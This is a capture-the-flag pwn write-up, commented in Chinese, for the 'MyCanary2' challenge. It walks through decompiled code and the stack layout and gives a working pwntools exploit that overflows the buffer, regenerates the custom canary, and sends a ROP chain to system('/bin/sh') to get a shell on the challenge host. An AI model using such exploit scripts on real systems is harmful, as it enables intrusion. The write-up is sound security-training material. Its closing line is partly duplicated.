unsigned int sub_4012B6() { int v0; // eax int fd; // [rsp+Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); fd = open("/dev/urandom", 0); if ( fd == -1 ) { printf("can't open /dev/urandom"); exit(-1); } read(fd, &qword_4040D0, 8uLL); close(fd); v0 = time(0LL); srand(v0 ^ qword_4040D0); return alarm(0x14u); }
这里通过time()时间戳和qword_4040D0
作为seed,进行一个随机数的生成
__int64 sub_4013EC() { __int64 result; // rax char buf[88]; // [rsp+0h] [rbp-70h] BYREF __int64 v2; // [rsp+58h] [rbp-18h] int v3; // [rsp+68h] [rbp-8h] int v4; // [rsp+6Ch] [rbp-4h] v4 = 0; qword_4040D0 = (__int64)rand() << 32; qword_4040D0 += rand(); v2 = qword_4040D0; puts("I have a secret. Can you find it?"); while ( !v4 ) { sub_401381(); v3 = READ(); switch ( v3 ) { case 2: printf("My secret is %016lx\n", qword_4040D0); qword_4040D0 = (__int64)rand() << 32; qword_4040D0 += rand(); v2 = qword_4040D0; printf("But now, I have a new Secret."); break; case 3: v4 = 1; break; case 1: puts("Show me the code:"); read(0, buf, 0x100uLL); break; } } result = qword_4040D0; if ( v2 != qword_4040D0 ) { printf("Hey, What are you doing?"); exit(0); } return result; }
case2:输出qword_4040D0
,并且将rand()生成的随机数值左移运算32后赋给qword_4040D0
,接着再加上一个随机数值,将qword_4040D0
赋给v2,这个v2就起到一个canary的作用
case1:stackoverflow
程序退出前检查v2的值是否被改动过,如果与之前不等,则crash掉
.text:0000000000401573 ; __unwind { .text:0000000000401573 endbr64 .text:0000000000401577 push rbp .text:0000000000401578 mov rbp, rsp .text:000000000040157B lea rdi, aBinSh ; "/bin/sh" .text:0000000000401582 call _system .text:0000000000401587 nop .text:0000000000401588 pop rbp .text:0000000000401589 retn .text:0000000000401589 ; } // starts at 401573
程序有后门函数,我们可以利用/bin/sh
-0000000000000070 buf db 88 dup(?) -0000000000000018 anonymous_0 dq ? //v2 -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 var_8 dd ? //v4 -0000000000000004 var_4 dd ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
栈的一个分布,v2在buf的下方,我们在利用stackoverflow的时候会将v2覆盖掉,这样退出程序必然会crash
逻辑漏洞:如果我们先利用stackoverflow漏洞,ROP,调用system,构造system("/bin/sh"),再采用case2来生成canary,qword_4040D0
的值会被赋给v2,这样虽然刚才v2被覆盖掉,但是现在已经是新生成的canary的值了,退出程序不会crash
刚拿到这道题的时候我在预测canary的值,没想到这么简单
''' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ''' from pwn import * import ctypes context(os = "linux" , arch = "amd64" , log_level = "debug") elf_path = "/mnt/c/Users/M1sceden4/Desktop/MyCanary2/tempdir/PWN附件/MyCanary2" libc_func = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6") local = int(input("0 for remote , 1 for local:\t")) host = "node4.buuoj.cn" port = 28118 if local == 1: io = process(elf_path) elif local == 0: io = remote(host , port) pop_rdi = 0x401613 ret = 0x40101a elf = ELF(elf_path) # io.recvuntil("Input your choice\n") # io.sendline("2") # io.recvuntil("My secret is ") # qword_4040D0 = (io.recv(16)).decode() # success("get qword_4040D0 : %s" % qword_4040D0) # time = libc_func.time(0) # libc_func.srand((time) ^ (qword_4040D0)) # new_secret = libc_func.rand() + (libc_func.rand() << 32) # print(new_secret) io.recvuntil("Input your choice\n") io.sendline('1') io.recvuntil("Show me the code:\n") bin_sh = next(elf.search(b"/bin/sh")) success('got binsh -> %s' % hex(bin_sh)) payload = b'a' * 0x68 + p32(1) + p32(0) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(elf.plt['system']) io.sendline(payload) io.recvuntil("Input your choice\n") io.sendline("2") io.recvuntil("Input your choice\n") io.sendline("3") io.interactive()hoice\n") io.sendline("3") io.interactive()